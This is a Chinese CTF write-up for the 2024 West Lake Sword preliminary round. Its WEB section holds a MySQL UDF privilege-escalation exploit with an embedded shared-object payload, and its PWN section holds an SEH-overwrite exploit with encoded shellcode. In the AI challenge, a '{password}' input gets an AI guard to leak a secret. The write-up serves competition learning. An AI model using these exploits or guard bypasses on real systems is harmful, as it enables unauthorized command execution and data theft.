MISC
2024签到题：
-
步骤一 下载附件，发现图片是一张公众号的二维码，在图片的属性详情里面发现flag线索
2.步骤二 扫描打开公众号，发送第七届西湖论剑，精彩继续获取flag
flag 为 DASCTF{gcsis_2024_we_are_ready}
easy_tables
1.步骤一：下载附件，根据题目要求，对'users','permissions','tables','actionlog'四个表的数据进行审计，因为数据量很大，所以通过写脚本进行筛选。
2.步骤二：下为根据题目要求所书写的脚本
import csv
import time
# 分别打开 四个 csv 文件
lists = ['users','permissions','tables','actionlog']
with open('users.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
users = list_of_csv
with open('permissions.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
permissions = list_of_csv
with open('tables.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
tables = list_of_csv
with open('actionlog.csv', 'r', encoding='utf-8') as read_obj:
csv_reader = csv.reader(read_obj)
list_of_csv = list(csv_reader)
actionlog = list_of_csv
# user 取 0 1 3
# permissions 取 0 2 3
# tables 取 0 1 2
# actionlog 取 0 1 2 3
name_ti = 0
per_ti = 0
flag = ''
#下面是通过循环相互对比，不符合条件的就print出来
for log in actionlog[1:]:
log_id = log[0]
log_name = log[1]
log_time = log[2].split(' ')[1]
log_opt = log[3]
for users_A in users[1:]:
users_id = users_A[0]
users_name = users_A[1]
users_per = users_A[3]
if users_name == log_name:
name_ti = 0
for per_A in permissions[1:]:
per_id = per_A[0]
per_qx = per_A[2]
per_table = per_A[3]
if users_per == per_id:
log_opt_list = log_opt.split(' ')
per_table_list = per_table.split(',')
for tb in tables[1:]:
tb_id = tb[0]
tb_name = tb[1]
tb_time = tb[2].split(",")
if tb_name in log_opt_list:
if tb_id in per_table_list:
if log_opt_list[0] in per_qx:
try:
tb_time_1 = tb_time[0].split('~')
tb_time_2 = tb_time[1].split('~')
if tb_time_1[0] < log_time < tb_time_1[1] or tb_time_2[0] < log_time <
tb_time_2[1]:
pass
else:
print('编号:', log_id, '账户不在规定时间内操作操作',
users_id + '_' + per_id + '_' + tb_id + '_' + log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
except:
tb_time = tb_time[0].split("~")
if tb_time[0] < log_time < tb_time[1]:
pass
else:
print('编号:', log_id, '账户不在规定时间内操作操作',
users_id + '_' + per_id + '_' + tb_id + '_' + log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
else:
print('编号:', log_id, '为对表执行不属于其权限的操作',users_id+'_'+per_id+'_'+tb_id+'_'+log_id)
flag += users_id+'_'+per_id+'_'+tb_id+'_'+log_id+','
else:
print('编号:', log_id, '为对不可操作的表执行操作',users_id+'_'+per_id+'_'+tb_id+'_'+log_id)
flag += users_id + '_' + per_id + '_' + tb_id + '_' + log_id + ','
break
break
break # 这个 break 是用来找到匹配的name后跳到下一个 log_name 的
else:
name_ti += 1
if name_ti == len(users[1:]):
print('编号:',log_id,'为不存在用户操作','0_0_0_'+log_id)
flag += '0_0_0_'+log_id+','
name_ti = 0
print(flag)
# 最后手动以第一个数字的大小来排序进行md5
# 0_0_0_6810,0_0_0_8377,6_14_91_6786,7_64_69_3448,9_18_61_5681,30_87_36_235,31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011
步骤三：题目有一点没写，要将得到的数字按开头第一个数字进行排序，后在md5才是正确答案 最后flag 为
flag 为 271b1ffebf7a76080c7a6e134ae4c929
easy_rawraw
步骤一：下载附件，解压见一个 rawraw.raw 文件和 mysecretfile.rar 的压缩包
步骤二：使用 vol.py 对进行rawraw.raw读取，首先使用 imageinfo 查看镜像系统
这里选择 Win7SP1x64 来进行下面步骤，然后使用 filescan 命令进行扫描
发现一个叫 pass.zip 的文件十分可疑，使用 dumpfiles 命令进行提取后重命名
打开 pass.zip 发现为一个png 图片
使用 foremost 提取内部文件，打开发现是一个加密 zip 文件
这一步有些脑洞，根据 压缩包注释的 Have a good New Year!!!!!!! 猜测密码为 新年的日期 20240210
解压成功，得到内部的 pass.txt 文件，暂时不管。
使用 vol.py 的 clipboard 查看剪切板，发现有内容
使用 clipboard -v 查看详情内容
在其下面可以看到密码
密码为 DasrIa456sAdmIn987使用密码 DasrIa456sAdmIn987 对 mysecretfile.rar 进行解压，获得 mysecretfile 文件
又通过 vol.py 的 pslist 命令可以看到有 VeraCrypt.exe 进程存在，并且通过 cmdline 也可以看到
由此可以合理猜测 mysecretfile 文件 是被VeraCrypt 加密过的文件，而我们刚刚也获取到了一个名叫 pass.txt 的文件，可以推测其为 其密钥文件，对其进行解密
成功加载，我的电脑是默认显示隐藏的，这个data.xlsx 是被隐藏的文件，双击点开，发现需要密码
这里使用 vol.py 的 mimikatz 插件获取 rawraw.raw的密码
获得密码 das123admin321 ，使用密码对 data.xlsx文档进行解密,成功解密
仔细观察可以发现，表格内没有第10行，点击打开即可获取 flag
flag为 DASCTF{5476d4c4ade0918c151aa6dcac12d130} ，只用提交花括号内的内容即可
WEB
only_sql
mysql任意文件读取``UDF提权打开题目，给了一个远程链接数据库界面
成功进行连接，执行任意命令，查看mysql.log读取到passwd文件
这里我们的思路，可读取/var/www/html/query.php文件，获取到本地数据库密码进行链接，再通过UDF进行提权获取flag修改此处
读取到数据库用户密码信息，密码为1q2w3e4r5t!@#
链接本地数据库
最后编写exp进行udf提权操作即可，在环境变量值获取flag值
imprt requests
url="http://1.14.108.193:30098/query.php"
headers = {"Cookie":"Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580278; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580634; PHPSESSID=429brrrnin0mc65rm8l4itrd9t"}
## 参考国光的https://www.sqlsec.com/udf/
payload = "select unhex('7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D4010000000000008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000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000') into dumpfile '/usr/lib/mysql/p1ugin/mysqludf.so';"
payload1 = 'create function sys_eval returns string soname "mysqludf.so";'
payload2 = "select sys_eval('env');" # 读取环境变量
data = {"db_command": payload}
data1 = {"db_command": payload1}
data2 = {"db_command": payload2}
resp = requests.post(url, data=data, headers=headers)
resp1 = requests.post(url, data=data1, headers=headers)
resp2 = requests.post(url, data=data2, headers=headers)
if "DASCTF{" in resp2.text:
print(resp2.text)
PWN
babywin
代码审计
这里有gitf，不知道是什么作用，我们继续看sub_4010E0函数
现在就很明显了，典型的栈溢出漏洞保护机制
发现没有看NX保护，而且开了security_cookie(上面显示的是canary是linux的，但是基本上都是栈溢出检测)保护，而且也没有开ASLR，这样程序运行基址不会变，同样发现了SafeSEH
思路
根据代码审计，可以发现我们无法绕过security_cookie保护
strcpy也会往后加00，strcat同样也会，所以我们也无法连带着GS的数据，反而会被覆盖到GS，从而破坏了GS导致程序崩溃 但是在调试程序的过程中，注意到了这个
在我们可以覆盖的位置上，于是想到了我们可以控制__except_handler4的值，使得我们可以控制执行流程 但是该如何触发呢，也是想到覆盖到__except_handler4的值的时候，发现应该是我们覆盖了一下不应该被覆盖的值，使得strcat向非法地址写入，使得程序抛出异常(这里跟GS不一样，GS是程序自发使得结束进程；而这里是我们调用函数的过程中，函数运行时崩溃)，然后就会跳到__except_handler4指向的地址中
下面就是想如何绕过SafeSEH的检测，我想到一开始的gift.dll，于是也check了一下
发现开了NX但是没有开ASLR，更主要是没有开SafeSEH，之前在某篇文章上看到说，可以通过跳到没有开启SafeSEH的代码地址上，来绕过，所以我们现在也找好了，利用gift.dll的代码，然后我们看看怎么实现真正意义上控制程序执行流程 然后我先看到对应位置时，栈布局
发现有一个是我们可以覆盖其指向的内存的栈地址0019FF64，也就是我们覆盖__except_handler4的位置的上方，所以我们利用这个gadget来实现跳到对应位置上
然后因为gift.dll是没有00字节的，所以我们可以在其后方布置shellcode，现在的问题在于如何利用四字节跳到后面 这里直接用
jmp_8 = asm("jmp $+8")
这样就可以直接跳到后面去了 随后的问题又来了，我们怎么getshell，通过kali的msfvenom生成的shellcode至少需要200+个字节，所以我们现在就要利用程序自身的函数，来写入，所以我这里需要模拟调用fgets的过程，也就是这块
我们最好是不要调到这个位置上去执行，而是自己利用shellcode来实现，在我们写shellcode的时候，需要有一个点就是不能有00字符，因为我们利用的都是最开始的strcpy复制到栈上，所以不能有00字符 这里就需要通过xor写入shellcode了，我这里把0xffffffff当作是key进行解密
code = asm("""
mov ebx,0xffffffff
xor ecx,ecx
mov edi,0xffbfdf43
xor edi,ebx
push ecx
call [edi]
mov edi,0xffbfdf3f
xor edi,ebx
push eax
mov esi,0xfffffbff
xor esi,ebx
push esi
push esp
call [edi]
pop esi
jmp esp
""")
# fgets(esp,0x400,stdin)
这样子我们就可以乱写shellcode进去啦，后面就是找shellcode了，对于msfvenom还是不太熟悉，卡了挺久的 我这里用的是这一个
反弹shell，当然理论上是可以直接变shell的，这块的shellcode编写生成，没学过
exp
from pwn import*
context(arch='i386',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p
# p = process(name)
# p = remote("139.155.132.144",10000)
p = remote("127.0.0.1",1000)
# elf = ELF(name)
# code = asm("""
# mov ebx,0xffffffff
# xor ecx,ecx
# mov edi,0xffbfdf43
# xor edi,ebx
# push ecx
# call [edi]
# mov edi,0xffbfdf3f
# xor edi,ebx
# push eax
# mov esi,0xfffffbff
# xor esi,ebx
# push esi
# push esp
# call [edi]
# pop esi
# jmp esp
# """)
# print(code)
with open("./payload.txt", 'rb') as f:
datas = f.read()
print(datas)
code = b'xbbxffxffxffxff1xc9xbfCxdfxbfxff1xdfQxffx17xbf?xdfxbfxff1xdfPxbexffxfbxffxff1xdeVTxffx17^xffxe4'
get_p("")
pause()
p.sendlineafter("give your data:",b"x90"*(0x3e*2-4) +b'xebx06x90x90' + p32(0x271F19F5) + code + b"x00")
# gdb.attach(p,"")
raw_input()
p.sendline(datas)
p.interactive()
最终在pwn目录下读取flag
如果中午没重要的事的话，指不定就一血了哈哈哈哈
RE
MZ
无壳 x32程序，但是开启了随机基址，使用010关闭即可。
直接用IDA打开，主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-26Ch]
int v5; // [esp+D0h] [ebp-19Ch]
unsigned __int8 v6; // [esp+DFh] [ebp-18Dh]
int i; // [esp+E8h] [ebp-184h]
char Buf1[52]; // [esp+F4h] [ebp-178h] BYREF
_BYTE v9[264]; // [esp+128h] [ebp-144h] BYREF
char Str[56]; // [esp+230h] [ebp-3Ch] BYREF
__CheckForDebuggerJustMyCode(&unk_444018);
memset(Str, 0, 0x31u);
memset(v9, 0, 0x100u);
memset(Buf1, 0, 0x29u);
sub_401020();
sub_434D00("%48s", (char)Str);
if ( strlen(Str) != 48 )
{
sub_434C80("Wrong lengthn", v4);
exit(0);
}
for ( i = 0; i < 48; ++i )
{
v6 = Str[i];
v5 = off_439000[2 * v6];
if ( v6 - 5 == v5 )
{
v9[i] = ~(v6 + 1);
}
else
{
if ( v6 + 5 != v5 )
{
sub_434C80("Wrong flagn", v4);
exit(0);
}
v9[i] = ~(v6 - 1);
}
off_439000 = (int *)off_439000[2 * v6 + 1];
}
sub_434190((int)v9, 48, 0, Buf1);
if ( !memcmp(Buf1, aDc0562f86bec0a, 0x28u) )
sub_434C80("Right, the flag is DASCTF{%s}n", (char)Str);
else
sub_434C80("Wrong flagn", v4);
return 0;
}
在scanf函数前有个很大的函数sub_401020，对0x439078开始的地址进行赋值操作，用于后续的字符映射和比较。这里赋值的值是固定的
最后面还有一个sub_434190函数，对输入进行了sha1加密，于flag的哈希校验。这里解题有两种方法 第一个是模拟映射流程
a = ['0043F7D800000005',
'0043E2E000000002', '00441E1000000014', '0043E9D800000015', '00440CB00000002B', '0043CD7000000076', '0043CE580000005F', '0043EAC80000000C', '0043A4380000005D', '0043A95000000067', '00440CF00000000D', '0043D28800000045', '004400300000006C', '0043E7C00000004A', '004390E000000045', '0043C85800000020', '0043BB8800000050', '0043C41000000071', '0043E4C000000045', '0043F0E000000044', '00440A080000006A', '0043D77800000050', '0043CF180000001F', '0043CD6800000036', '0043BEA800000009', '0043E38000000056', '0043CA7000000028', '0043AA100000000A', '0043DAA800000035', '004419300000007D', '0043BA980000007D', '0043B3D80000002B', '0043C64800000001',
'''......... 省略'''
'0043C2A800000000', '0043D5B800000008', '0043BE0000000040', '0043C5C000000000', '0043EE900000001E', '0044191000000042', '0043B8500000004B', '0043EEF00000000D', '004418A000000035', '0044230000000052', '0043F76800000023', '0044040800000033', '0043F16800000036', '0043A5700000005F', '0043FC700000001B', '0043B2900000004D',
'0043EFE80000001D', '004402100000005F', '0043B2B000000075', '0043BC8000000055', '004419280000001D', '00441F5800000057', '0043F85000000053']
# 第一个字符
for i in range(0, 255):
if a[i][14:] == hex(i+5)[2:].zfill(2):
print(i) # S
# 第二个字符
base = int('0x'+a[ord('S')+0][0:8], 16) - 0x439078
for i in range(ord('0'), ord('z')):
tmp = (base // 8) + i
if a[tmp][14:] == hex(i+5)[2:]:
print(chr(i), a[tmp][0:8])
# 第三个字符
base = 0x4396F0 - 0x4393A8
for i in range(ord('0'), ord('z')):
tmp = (base // 8) + i
if a[tmp][14:] == hex(i-5)[2:]:
print(chr(i), a[tmp][0:8])
#...以此类推
# Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!
第二种是 侧信道需要先patch程序，将错误的位置输出出来
效果如下
写脚本进行爆破
import subprocess
def brute(input):
p = subprocess.Popen('MZ.exe',
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
# 输出stdout
p.stdin.write(input.decode())
p.stdin.flush()
ouput = p.stdout.readline()
return ouput
a = b'SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS'
# 每次爆破出来要自动分别是否有用字符，再添加
flag = b'Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!'
for i in range(0, 1): # 每次爆破的索引
for x in range(ord('0'), ord('}')+1):
input = flag[:i] + chr(x).encode() + a[i+1:]
res = brute(input)
if res != str(i):
flag += chr(x).encode()
print(flag)
最终flagSomet1mes_ch0ice_i5_more_import@nt_tHan_effort~!
AI
回声海螺
题目描述：打开保险柜即可获取flag，赶紧来试试吧 很奇怪的一道Ai题，也算碰巧吧，查询了一些历史题目。
思路：打开题目，是一个静态页面，提示需要破解密码这里我们点击下面按钮来到海螺按钮，来到此处键入{password}
成功获取密码为578316249，本来尝试爆破操作未果，后端做了时间限制。至于这题为什么键入{password}便可绕过AI检测机制了，就很奇妙了
数据安全
Cyan-1
注册一个账号，来到考试界面
点击开始考试，先完成考试来到评分环节，此处有一个越权漏洞
遍历值ehid
成功遍历到一份满分答卷，拼接ehid=363
访问地址：http://exam.cyan.wetolink.com/index.php?exam-app-history-stats&ehid=363，成功获取到flag
后面环节就是进行代码审计，去挖掘其中链子反序列化构造，貌似是出题人挖的0day
Crypto-未解
Or1cle
简单写一下啦，属于赛后出的题，差一点时间没提交到NC进行远程连接后，键入如下sign绕过
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
签名认证后获取flag
原文始发于微信公众号（ACT Team）：第七届西湖论剑·中国杭州网络安全技能大赛初赛Writeup
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